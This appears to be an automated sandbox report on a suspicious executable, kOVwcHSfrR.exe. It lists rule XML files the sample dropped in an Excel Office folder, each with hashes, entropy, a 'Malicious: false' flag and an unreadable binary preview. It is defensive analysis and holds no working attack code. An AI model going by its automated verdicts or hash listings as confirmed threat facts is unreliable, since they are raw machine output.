SHA-512:	BF4B844F174F0ECB2579359F63380771873FB3DF3CAD265D12D84C29BB68F9385BD113D567003456CDB52ACE4C48A5B92F0AE9914A159170C8CF4F8154C95C3E
Malicious:	false
Preview:	<?xml.5..P.oM._:f^.0=DY.Ds...'.]..........7.....6.N....`;......7.Nz8.1..u.. .i.....;.d...w..o^.F..L[7.2j.iY.4....M...G.Z_X41.["P!..r.<0.....R.#...........n....w...evkG].K.L..U.U...L...y..x.@i....s...r...<_.}N.q...'....h..\u..M..j....&[%...]PF..r.q..[...6.^g..k.,.5..wf.r..m..bIS.Py..8.:p2...<Y].w.2l...).Ic.....\.....{...!.b.03bN..y..!`..C....8.5\|I.1...>..~.....#..d!./..{~5>....9.........ue.2rg.%.).gOz..1..U.-.^~..3....:..uT.l.r[...].a\..PNN.....K..a......&..7t!..Y....Ba..[.p.p%.".}5w.-..8zu..\|........BQh..i..9....p../6B.qT..[.k...5.GL1h.\|...g[..k....\|.....,....f+...(..y.9......t.....j......2.0H11..... ..../ME......p.")M..bm.%.....c..E...?A#....4.....Qa.....>..5..[.i..&f....T.K.....->..sq..@.aa....9.^....j..._HD.}..{...#i.brr...2.mg...........q....,..Z.Pv.3X..{>.f.*\|.L.`..........T/....B...l..U....~....+O....g.....uZ'B._9FV..e.}.k.p.N7.W.>....Y.w..~LR...yD9.......a..u.SFu......c:y.....z...}=..!.\......FpL. .F.R....F..5.7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68031v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	7.815539546979999
Encrypted:	false
SSDEEP:	24:qZqpa68vgRWDpGFD4tKdTOTiFGm523swCpxlaYboyPvZOw1bD:gMw8D4tKx9FGm52MXboyD
MD5:	381E264F14E25BC4C91A0D9DB2DB6923
SHA1:	8EC6FCCEC95BBB90D0F53E3CB5DDB92D51529E7D
SHA-256:	A2F66C936D7304D493A6A394BBDBE6893C35B73A4EBDA3925ED3BCFE4F0919F1
SHA-512:	FC3B58B1CD6F8CFFCC3619E92AE66F1CBE9CB2E8270EE4688526532FB40D176476A154A3CF01DEBF368F7FF1185F200D06C8960E91AC2C7F7D332658B174F7A2
Malicious:	false
Preview:	<?xml.I&....{x........U...Di........Z. .Q..RG\|.u.Fr...NS..7..$..?.....F.....%.......!_..i].....9.'. ^:PH.i.+5^.\;.9`a..+.....2l.).o..`.:..v0y.d.Z.5.hJ.g)..+.60..h].....h.6.Zqfc(n...:.....-m.m..i.&.....B.<./.a...$..L.&.r..h6F<..4f....../x.$Z.........9..\dL....a5.....\.-#..d..........?....V..l !..2.C.....u..\|.3.~...~.RO...........-y.dRc...../T.FC...g/0.}OZ.4{uw...B ..1..4.3P.e!.f..:.hHI^..O&.g.A..m.(\|..z.......o..-.....+.G...Z....qy.F..;F..:h.I........!.}W(......B............}..L{..<..C..Z...8IQ.yx...Q...H...Qp.9.`..s......Co,,.M...@..v5#UpK.Z.N..1..Y3vm.3.R.k.1....<..q>.U...g+.oR&...z7b.P..P...q...6mGJ...TxU..:.....O..5.}.i.......K...o.....^Q...n..~.;<i.Q...-..Y=..B.2.N}!.q....s.....U..h.>.i...o....=.]VI...q..$M. b6..%Q....O...7..i.m..4...wg..l....H.&...]....S<O....6k..%[.?...b}..]".3...O..g.0nY..(X..;.f.86..O3.%.....5....g.aF.c.e..*8.uWn9nl......Zp.... 4....t.LUc2\....H.8...E..v."O...,#^.......';.E"c.a.@.^...q.J5!....$.I...nk{ji.0.,.^U.Z..2B...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68038v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.715938705443887
Encrypted:	false
SSDEEP:	12:PdNwIPjP+Y23XhIWW/GsTeWKK7ucnLpbzXRUDu3JRRyVQd1dEC8JzYcpcMplY6ZM:oIPjenhRW/GsCWKSdLpb7GD4JRRyWxEW
MD5:	BB15DC8477A33F500BC0811306FFFC3A
SHA1:	DC9E287734D7A19746A4ABC936718A256A5E73ED
SHA-256:	2DC93FD2C24CF4C1D0782458518C150663910A9851851B7428F0E2BDC7A2AF07
SHA-512:	EC758AF71DB874D02DFDC9B0259E305043CC4C56B3B07DEA59DCC5C49CCE2789419E1824471A3D352BB53C5CDEACD694FF0947A673C8E454DCF1A767120E2B88
Malicious:	false
Preview:	<?xml.._n...yqHv.sQ,w..t..<.iT99X)...qb....la....^.7E.k...R...6W...].=r./f.z.....~.......RO.=q........?...........&...H. Iw.$..xQ~53.t..tu....8?..M.8....T....vFe..+.IS.....P:.EhK.<.^,..t..N.2...nw..6.:.w..+...eK......`..H\|.iR0.s;...R..f..P.....2......J..#.w0..n.D..n.....#.J#.......wkV"..{........s.+l.Q.....0.....umsN.....&.....Q/.U4.....h+_...G?V.GU9.AF...(..^.oi.!..@.*z.{[.Sd>..>.2=.a..K..i.b........m.,..x...,..#5Kk-A. ....i`.hm..n..7"/..37k.:....o.4/....i!@t0tHQ0....]..y.Q...8...........ui.[`.... X..:.-.Xv..."u..^Yq.-..N.@.b.-cU.D.$t.d).(\..:_...d.A.._....j....N................#....l..0...]pZ.}...t@V.O.o.&..h..@E`uTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68039v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	7.806494174956201
Encrypted:	false
SSDEEP:	24:UdDOypARg2BNFh5V/9QSguSXTY31IUWDxM/rHlw1bD:UdDtARg2N1aMFIUWD67lyD
MD5:	C69F6E052CA3F92D7D363C92F768C8EF
SHA1:	F7E789655ACCA376F89FE5BEA8A6AC0687CF6301
SHA-256:	62CAB1655990A3169B85B6BCFB72FE5F2E73B75F2AD3DB80AB6C3870E1EE1964
SHA-512:	E83676EBB830012632F4EBC0152CAADBC2394AF10E746341C3C1E1A73360847B426381B9A1CD66B3E9E52B00609CD2251A2EC2B5D47C688C228E892392C1B972
Malicious:	false
Preview:	<?xml f......(..1......`.....WA/ ..a....I!&.y...Jt..n......=X@...=.>..3J.P....p..7...w..^I.>..[.!.I...S..:.ob.V..e.}p..v'v]v.;}:v0. ?..mM...q.Z).!..;.............Q.W.6..#n....!......h...`w].\....W......F....~\u..F..".A%?G....<.../6.GOV,.l...bi...$.`.>X..&\........\|`..\.mgD.rc?.z......Q..X.Z.\...W..Q..I.VG..Ev..r.h.1.g/....}.L....(.:.&dS....I.......b7e8...;.I..OJ..u...,.ww.y!T.........J.Ru.../mc.ZN....r..B..e:bFq.....K.3c.M.....L.S.W.K$U.1..G.1...h.3....j..x..G.....W^.......+ k......`...!.x?.E..#M.g@.}SIN...g.nHT.D..Z....X.j.).....;[.G ......QjM....A.".@/V(.4`..!C+..x/W........).`.Xf....e.cL o-.=...c...P^.....d.X#]A.:....7..a\.P#^}n....M.._....Y>.#$..)....o.HQg."...U,...1C..:...l...U......F.[...5....Fw.........^..k.Y..u&....u.<...^w....%./Z..@5..#...\|........`...M.x...^u....-l..A.B.q.......m.E.....X.(M...I&.p.....20g.`..BV...\|.).D1...B....FX..e.+...mR....r!?.bA. -......A....w..*...'a91..o.k..1.]..MTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9or

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68040v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	862
Entropy (8bit):	7.7537404898548115
Encrypted:	false
SSDEEP:	24:B90eNm4bCcFk5gWH/JRoH1CRLht/13FIfbjzPLWKt/w1bD:BHmYCcsRR6CRT/pInndNyD
MD5:	486F57B25D7ADC82F6467BE403646829
SHA1:	9E02F097BFB1F4260178567F4370AFA29E94031C
SHA-256:	B27ED1568EF703109E80A3AAA218640E8AC82E6AFD5354FF1F51EF902D8ACD15
SHA-512:	9CB676ABEABAF4190993D4E88768AC425BC134AA865F78430971969442626D90C620D9DD55A0CB789E131DCC784CDFCC0486EFB9BB25D2E927229A8355465B70
Malicious:	false
Preview:	<?xml.^.y.6u^e?j.Q....k..15d..."e.;Y.b...F?O..p_O...E.VX.......u...q...rQ.(......mEt.......Q.{.......J.x...d.....,M.Hq.;.]L.....b$.v.AF.....@+..&..9.{:...C.^N.$...hv.c..C.l.}A.eR...rl..{\...t......."....F....$.s.4........v..(...d.f7...{...Z-...@..2n..x..7...A...(J+..8W ..;soR.2S..k..<..'b....3.:.Z.........8..+..7HJw..;.:+.HQ@.bn.,0.......50.....PL...".....nqu.-.7...>`Q.'.Z.4..%.ct.0.P%i..li..(....h.m.~....d..........`v2...l....[.E9..\|c......4N._,.P..\.....9jp.n.'.K........3.....Y7.$......\|.;b{XEU .P..p.....f\......<.x..!.M...65.0..xG......'s....DC..w...v%.8Mdpm.%......7(b,...................oly.6.w!.......5.......i.<A..K..e.<E........r.k55..P.C\|CvT..H....6-.~}i......A.w...w.).3.... ..dYp...)..D.E.}.....b....w..%X..g..6.T\|......*._.78....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule69600v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1376
Entropy (8bit):	7.845494201249358
Encrypted:	false
SSDEEP:	24:5MCYy+IaFKwAVWR5DmVWmJrPBNIPui3kTl1LMhA7RRSPdWw1bD:5MCYLFPj6fQIhoPkyD
MD5:	C6976A74ED9B0E802B3D42BCFB7DBFE1
SHA1:	26541F93FC0C376BDAB7C7AA0E57F21335AE09BB
SHA-256:	1D7B356468EDBA2FDDB4D418F1DE1BC523DBB7951054920EBFC51736CE17A03C
SHA-512:	2960A8520DD5270BD0EDDBF260FF58FCFA81611AF2E2EFBC70645E3021FDFFABEB2E5134DAF42362312AD6FE86533A9E2F859B01ECCC85CEFF7E19F980218676
Malicious:	false
Preview:	<?xml...0w..h...W....\.\|R....(0s,li.l.F.:X..jC...&.+...%z.R=@_-L%.,.....5/..t..V..z....qg......!.9\|.H]`B&$..'u....Vs...M.N1....a.D,X.wA....8..p4....%.....6&.a.ZOP...jp.`Y.......k..h..\q.o8..6d.....o.E...R...4#..<..\Fy...y.......&.(Y......+.2.....}..Zi9H.y5ka......5_<.9.n.....7...d...s. ..w.2~.....b..A..p .ON.v...<....\.36...V.^..N......,.).I.eM.n@.s..v.......v.+$O......O...Kw.79.==..n.3O....4..E.;.k.]...-b.v.6..(..8....-.".....odm.....qG......]eE.._..X.....`..j.#....w.....2.;...^..h....Y.[...C...e..+..6.........'oW.(hv\0..R.(PSHe...Q$.."...j/..Z.......-.5s..e.S.P.......4ob...F.,.~...SC...=;.-QL.....9...(..........L.ua.....U.T..2./W.>E..l.....uZ.......\ ...@:Y]O..;F..N.G..JFi.0..iv..s..7..n...@..W7M.1S...D*V.....r........t.5.....&.;...&[.^"o.`....o.......S^.b.:.c...NC..w.i.m..N.~.3.W... .bS.iz..\|.:4....9.otV..Z...b...H(M....h..1..D-.q.}.:.W\|...`"...$...h.6.....2..t....k7`...%......'R.a...j.;....O..V...hz.5..Y.X.v...%.m.....Z....=.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700000v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.897793870474082
Encrypted:	false
SSDEEP:	48:wcc1aqusrCtUvxravJ36J4GGkLNTaXeneo4+4pmPJJHKrLrntuUyD:wz1XJrXxrSAGWNT0eebAPJwnrtxa
MD5:	361AC04BBC05BB1C8BF539600B19C95F
SHA1:	9B57B9194B1B788DE0D1B5947AF7EF780FE39DDA
SHA-256:	75DA416CAB303FFFA205C7D0EE0D7BE9C2E05A29B8F0DED5C1D3797B10C90747
SHA-512:	B7B73BCF67CF832B74CCFA72BBE9B877DCC16FB3D1CD9728008E063F12244BCBB95C50E8466E0B8C9CE48E09D9CA033AB7F6A7FBF3824A04FA01C483F1CE0D82
Malicious:	false
Preview:	<?xmlis(.............m..Z0.isQh.J..E..l.c.C....f.o.K.T.R..^.@H.\...5...p..&..Ei](..&...#..J....I..p...m.....c.(..H../..-...0F5-.5...(.....c^....\u........5c...W..d......`..4..6...g.........(.4N[..u'_.J...X..b..9na3.x.. .I.67..DgG.s...u.1.../.pe........v..T....{...7.R.~...W.......~G{..r....<.........EV.g...+....)+.FTT.....>s...I.G..>#...{..=.9!.Q...s.....M......s..`..6.....W ..mj..y,P.9..../K.....7...c=0.v..3......WJ...<o.m.po..U..C.y.$.3.@...y.%P...J...#..(..J..J.K..!..2.h.e5..?\|W......-rR@.4b..h...:b.vAg+I......%n.tI.cV...(.<...2.Z!i..........%.]..r-..i....6V_...\|Z..;.x<.9..f..L..%..p.v..L...{a...-7.nK.pE-.. F....{L..#.....I'....3...[^Q..Gl.=.Cy..1.....4....^.....$......E....R....~Q.\|..Y..#.>.<..v.....Ha........xu.c.:....{.uR}(7.....m.+u..V++"....$.L......3.!Q..T.^3./n+p...:..Bv....Zv.a-O+.j...U..K>.#N~...P..\\M...@.....i..\..2v.OK..=.n.8Nu3.6...3..w.XR].q...........r.....s.&-..O.... H..Da3y&.b.q...7f.(.>....t..2s..B..t O...:..g7...........lY.i.f.Mh

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700001v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2074
Entropy (8bit):	7.910611184782758
Encrypted:	false
SSDEEP:	48:MOsVDbXLfAYs5X9qE8ps6UrbH30ZhFcS3oh7MpAo0+mduyD:MnVLZYXr8+BrbHafptmdua
MD5:	BBFF9C91FC08DF326FD7DF6150D4DABA
SHA1:	09990651E9B12926E70B9D492A9EDF34D2786951
SHA-256:	F6DD2465C48BEA670994737270A2DC597BD30617966D535908B510DDBCF6D962
SHA-512:	C228367C8C25CB616BF373E19507AD52C3AE9F58779EFB1F9CBCC86D04851C0327B62FEF7EE0181D565C9C22BD7BCB960582996CB9FB4B43C9AA62E127E69747
Malicious:	false
Preview:	<?xml7.YZ..6X-...~c.W.....a1@U.=sySv=..`..d"..{..F...S...Jk.(.F..@....jxxd#...Vvw.Mw./M.r.l.... .t./)/....ohd3b...s...,N..$G.q\.kL.G.x;.&... ~....nM"L.>...k.uYx3Y...?.L......r........A.2^{....y+.cs.u.5......&t.\|\|}..5.m...:.....y.....(.....;V.B..qS:....MJ........[.P?.1.B..q.......=..u..?...P...<.....\|.hS.4.{jg.....E^.w.8....d......o.D..+.5G's+.......b....p..3EGn...#.n&..Z.k....Op.s.lE....J....#V....Q.[.a..t....+X..=...../..D....x..dEi..I....p..........]...g/..N..ipw.>n9...e...gXI./.2.^R.Y,~..T@.I.V]K...r..`9 ......>...g........_k.P.&h6Uo.q..R...S.7"..i.g6.......vUL.;Sj.W.....{(\.${5.....'.....RB...`..Ib. .U w.....x.TL.9.yB....,.......h..T..A.d...u...j;......6./.B..I.....&...:...s..P..4+?.X..~.1.....Uo3.p...dYE3f...a...gc..1..".cj.....%.. .n...(/(..U.....!*...f3wq.....{.....S.......?]. . .=.4v.....xjSU.V..L9..l..EN.. .la..W.........F......9.....kG....c8t=.&......X..4..`.......C..w..#.?....Lz..f..z...O.s...IP..[.Y.gi ..czC...W#.m...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70002v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	7.735577575106642
Encrypted:	false
SSDEEP:	24:XaMBzAA1c5YzCnE6Jz/382WbWgyfLmYmrtw1bD:DR12Bpv+KgyfNmJyD
MD5:	3B480E489583F880E3437D607E0E3CAE
SHA1:	57F85582AEB9D771E8A2D9B6DD74053AAE1F103E
SHA-256:	A4F357B4FD9315A254F004F14D8523F8B7B1CD0E24ECA14A8568A15F085B430A
SHA-512:	128D6C216A5BB4CCC44019AE07DD0837DA1C4742325AE0F349A4142EADC8B976BA3431FF28D84D2878C69AF1DC3408F46FD91B690735F6A6ED72B8C722AB34BD
Malicious:	false
Preview:	<?xml.{Y<................k..10.>{..>....]Nr./sy..e._$..r._.....W..7..u}....8..c.Yg..DKN......... ...5....t,..g...z...-.7..xh.....,V#o.B,QN..j...&k....c_[}.T.x...B.....1.G.6kW.C(.1.2..Fr..>....0.<.Q.G..r..L:.Z,D..Q...=..4..lBi.m%....o..........A...,...4[iY06.p;'.....`p..`...e.A..N.uc.....L. =.....u_.R.).M1.T9.....c&.h.gwk.....~P.U..-.F.1.q.2....a.p&.I7bB....v [IT...k.}@.].\H.3F..b#.S.9..{. .c.jy....k.. .'=.C.7..$.S....M.a.l.O.T~./.,.......`.e1..C..}.b+...S.p.n..\|..T.GR,....7.5;9P_U:\...._.....7eYoth!A..?.C...z.U.h@...(.5.-..Fl.+..'X+.h.F..5..mW.udH..#..!.j.d[.a..1......4..h..@.._.......S..s;..-.uK.t..o..1..].....A.....z..<.H.!'.r...K.M.=..x....^T..2..L%......1.5...z......[.....b)..S...5.v.....q...a......$.,.>......B.....5?=:.)..s.w.b.<.^]?.1f..._.@..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70003v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.672813864491955
Encrypted:	false
SSDEEP:	12:w17u/gl7tvAODNl5JRSuL+AXnbOEEjXp1xgsZQMRvR86C1uKdLD3Pirwoqw1ciik:wR0gRtjDNpkjAXb+jXVp81Lurww1bD
MD5:	AC3EBDA5A61047A4F21F34A8ADD6A07A
SHA1:	1361A94B647B31549D80408A61DB93BA755ABF36
SHA-256:	6B225D6F71F26BB7A7EDFBB27D2AC0971B2C12BF08C1FF0B874026190F324E48
SHA-512:	717EEB271363C64C9CA3C797AA40217D0BCD19033AC25E2F9E41B9C5D1FD15E57815F30E46BBEA3AEC9367C4EBCFE7C156E70A7873F60A76FC1D75852D2BF566
Malicious:	false
Preview:	<?xml......k.1.....Eu..J......!q,...;p&YR-.3......1....D..?d..6.-...CiCQ3.+[l:n.f-..>4-.....;h...Ee.b=.....H....j.t.Nh.`.[..g.}.+P>..`"F...1....r..S..8....hEW@.Z-=ED6j\|.(9...l........+........h..3......G{.oQ$U..f.M...i..0.....p....../.n.hy.y...W?..l..C.u+k).V.6....(M1.'..Jp..C]..].>W<..ub.i.F..........-..y[..v2........x..H..K.7.A`Y2...>.!.'@C._7.h...N.\.@.......J...8.8...c.#.f.7.-'e.....5..Y}...y(...?$..Gg.#16..E.6.\|oT......9.._^:.boyf.%.'..0A.Q.{.'....a..z..?R$..m.....R.VH.XV,).._.8SpBk..}f........E..r.?RE.i$K..~/Nh2}....bvx....b.p.B...jsQ.Dl.....k.E..,n..\|<moX.^....D.?....\"...J...LC..4._,...........8.k..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700050v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.882435297981023
Encrypted:	false
SSDEEP:	24:210KEuaORyAItUT4PkMbK+c60BGUk+Np97+u93XLZ7f5O1GMPcpXYaDAyk2Low1X:21BPaZubMd0GeNppXj5FMYXLAy/kyD
MD5:	0C75989F37CA85CCDC4E97B405F95941
SHA1:	79B9EF44F9ADA7E9C89AD5831702BC8C8046A2A2
SHA-256:	79434328B10EF5D6976CD7A15FE6A18A339B21CA0F86ED75565399DB1F8E890E
SHA-512:	D6E427AB33EC9C0B7B46F34031AEFAF94FDC50774DDDF8EF25EA63427507A7AD3B854C9D6B84AA7524BB7FFDD0CC33123E4B6530F0B71F22A37D2B1CFF4663C6
Malicious:	false
Preview:	<?xml.!...9.e^jc....... ...SY~.s..>.5...(..~...C. .o.k..[.4..u7GDM..m!....aS/l..=.w.. .....@3>M...).MH8. .....jC.=....,.Jl.........Ka.=...t.S.D.A..C..P..g......Jo..vM...IT..-.e.Q...\|.....3...x\.0E.\....T+...oZ7.........y.....x`.ND..`E..c....?..~.6M9..#+..92.j.&.r.S.m...Y.N.Q.V'.\|h...u..........G....i.b.P...p..;..gn....F;4~...:R.~.r..m..]......6....9Zx...<...<..1!.7f....K.0[.8.TUn.. U.3.p......"...C..n.E_..W....T9.....>.....g:P......As.\|...K...._......wrq(...+s.k/...fS...cKyC>J.!@O\gLI.:]9:..'....s.m`a..Fg"D-&+....S.....m7..=a...u.P^.W....M.......g....<.....8..Z.4G,.<......l..}.m..I....N..8......hNfn.9.d.!`..P.t.w..B>....-`.\|..Z;..w....Y.....I.e+. .vQ[.U...~...,}g=&...4?.....`...`...........\|&.6.'.h+.W.B.brW3.....(6....]...c...o..m./.t....R6 .?....\...../.24!.2.C.vq.%._.J.c...k~.....d.]X.-.......8.c....??.2.....s.D.......J..L.O-p.#...G...m^...0Ud"Je>+...;B...7...Id'./b..mt.n.....QK.V.....@.J`..!....+...4Sl.....2:..m....{\|7.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700051v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.881741815641767
Encrypted:	false
SSDEEP:	48:/1uAVe9BNaoBpPngdkLDZQfHr45X0Y/RQYSoaMbcxyD:/k0e9WoBZgdISr45X0YZeM4xa
MD5:	E661230D62C58D2182CBF0901801D49B
SHA1:	23164E82403D2267598044489F5C44C3555281B1
SHA-256:	46DC8976EF71AF76DF3520CC0066A796B96FA7412FBB5A0AE8525462FF98100D
SHA-512:	ABC54101CBAAFEDAAFA652C0D4FBE332B6BFDCD653482A9CA3B9A9FE534E9660BEED4477E1BDE721DF9AE2647B9985BF000470E387088F69E1847C10E63A9ECB
Malicious:	false
Preview:	<?xml.....+..iE...j:..L.Z...b.2..q..=.....C........#.#..7... @..wKC.U.........t>#~u...?..1X8e.r...o._.1.'.Y.>.:....o.....x=.>....c...#..">w.x...).5."%.E..k....qU_.-...EQ?...Vn.\|.RB..W=E.)..).}..x.5.qv.....H.x.....R..B.#...g#.Lw2\|.As..,...8.I.\.....H0f6.1.u.!;8..-...&....jI.f ..".#..`05.wF.5....U.P......?...w..b...VMya....]$.b..t....-.0...{.>..j\.\'>..f.@jS....l....7.6]........ED.....wt...8..#...~.+>...... ..E..z..q...l...`X.](..+........HC .HP,=(...R.....G..jD.}=.)X.TJc..1..x2lj.R=.hP....5..........].F......-.&..h..^.Q.QZ.Ig.*J$>'.T.FF....nk.9..Og.!...?..0....CG...UO.2.8.>B....h...........p....>'.4./...I..I..d........lq.A.w?d!^.@@^.;.p.^.ZS,..o..P.y..5.........:ol....C,..N\<.t..Nk..>O].P..C?.'$@..~.>......ga....<U.Q&.d.....:...j..U....}...k..?Q.9.v..\|.....F.VJ.......v...x>...a.c.....j.#.xf...x.&L.<"..:P?R.NX2...?~...7... ._....#....r....c..WO.8..Am.d.f..K\|.m....=..iC..)....\...]A..8l.b..u.f.}.]w(=."^.SC..gF..;.'.t....NMu\|..._..^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70006v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.738328058747721
Encrypted:	false
SSDEEP:	12:OYkyqkziBMzDLqiTD76pJVn3XWsqz6/IXUdyKuNr96MwLvHHUDLnp8SmbfviYawK:OaqkfGU6pJVnWl78buNr96MwLvn76Fwa
MD5:	909B0286DA60CB8F98B0DC11D3645343
SHA1:	5B11C36CCC09690980E5C6252AC69A204138EBCB
SHA-256:	F349761A18E5FC87CEDDC8758FD8B69C39C6C7F0A7AD9EF7F01E7FDBF122FF4A
SHA-512:	AD1D55EF80F39799CE40A982370FA5006C4077E434F742A2CA95DB96D684CCB78F087B948590FE3EEDFB31895944B54C0A8E6E1320C691A67F7124B85B4C0FE1
Malicious:	false
Preview:	<?xml.."...Cs..v.+.$...~j......8....}../R....\.y.w...'n.J.....DVbY.-...20(aS1...P.......u.5.[...3.V..D.\|.o..OSW...X.rRS,.>u..+.A..Y.<B...gf'......3.!.;^S.Huf.....Or.Ny....U.0.4k....T..n..S..Z..X.......?.....m.i..k..=.......8.^..`\.?.....)bC.O......,.d.S....GC...!..."..la+.....f..5..N.o:.D.C.%...kW.S...........U;..W..e......r..Q3t6.7.#..MN.9Z...\...&.x........D..Ra.N...2....;.U...........9.M../....4:.....%...9.../$m..Y.....@m..Y>1...J....m..+x.....fb..B.....~.4.v!.u`v_.3..&]'...pl.x.....f\|,.....>%.]FY.....cY..>..q...........m..o~...lJ.:..q..Sa....\.$.^!.`.4........o...,.6%Q.~..?/..y..M%F....`..q!.p.=.....Lt..v.c..s.)d......O%r0..f.,.x..K.^[TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700100v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.883339536510881
Encrypted:	false
SSDEEP:	48:y1Fhp8KgF0DsC126K0sdy2CxCWetP3uImB2kMAkioSZBuyD:2izFQs2Bxj4nvMPVoSZBua
MD5:	744A0C4DB8BD57CD1BEFC74332D7FAE3
SHA1:	19F002072B4E0FBF4A6F25B685DBB70C50B97C2F
SHA-256:	3EB1B029855E99A4F40CDE422CEB7E134094801B655D8D26D103F2F0D7B3B914
SHA-512:	05F5B5AF2E41E938D7A045551EA602E84B1BA8FAE92D24E8E8CD68FC47B2540B496C431BAC2995E8A53A756A65C0EBF9DE22AEF6C3E03DDA1273788D9F1A25B0
Malicious:	false
Preview:	<?xml.<.tX.~.Z.?..U\|.......E.{f..S....B......!.........t.+..e.f\|...+..nm......S=.Go.k......X...wp..S...r....jw,.c....H..AA.:....b.E...}\|..6..!.Q)..=`Gz@7.E+..y6.,.%.....F.Bl.-.`.._2.....>..8...9..c-...l...W..Z....y)..-.7{.TQ..1.....,..$....<.V ....',0..\...>`..l.....)8/-y.;.S..<l@.....c...}...o...@...p.(...K.Z..;M....@.....?\..FMo...S B..AFI........)..........MG.0".M2....7.6..@Oe .rQ....Z$#.ZZ...ARLJ y.h.....".X.....e.N.7.;$.m.-j.^..%j....7c...[.......i$p...l.0..._..>~8Q0.....-.7.[........z...../.W..Ma...b...'..T.[?V_P#..L.........lOz..Au.6.b..7...E..\........y`C..\<. $)f.e...r......p...N...N....^..}0........x.b......../.....Ekue<...8......F....!QH.h.5....v....s..O.O.l..{.c.f.<u..f..S..........tc6..}.b...a..w.pc.8.d.oi.....0kmL>..Z.y.%....-....z.m6X....n{j..C.v5H..\|.+{z....qM.[+.7L.....Z........9@B...E...3.....3.".t..B..d9f....x1~Z...Q...H.N.zY.../..........u.PH.Z.Zh!..4....3.+..d..}&.].)..!.D...csE.C.....A...A/.`..aTn...3`&../I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700101v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.867864379405579
Encrypted:	false
SSDEEP:	48:u8AprfIIeW215C9jIoysLFA+p0MeUfiV+pkeVusXyD:8yp5C5IoFTeaiItuGa
MD5:	7562A96B5B47E85604523DB6AC42AD72
SHA1:	F974150E12F60F26C896D2DBED12818AB07C699C
SHA-256:	92653709617677E3F8DE1314E8C83B6EED645241C73D86D234606044DBBD50C7
SHA-512:	02148FA5B54B1D06F59BC7295CD8A4D4315A1F260021806030FA82B47409F2D2D7AFEA2C3C2001A8625238345483C73B1A948D09867960C49F9C7CDE1BA1D948
Malicious:	false
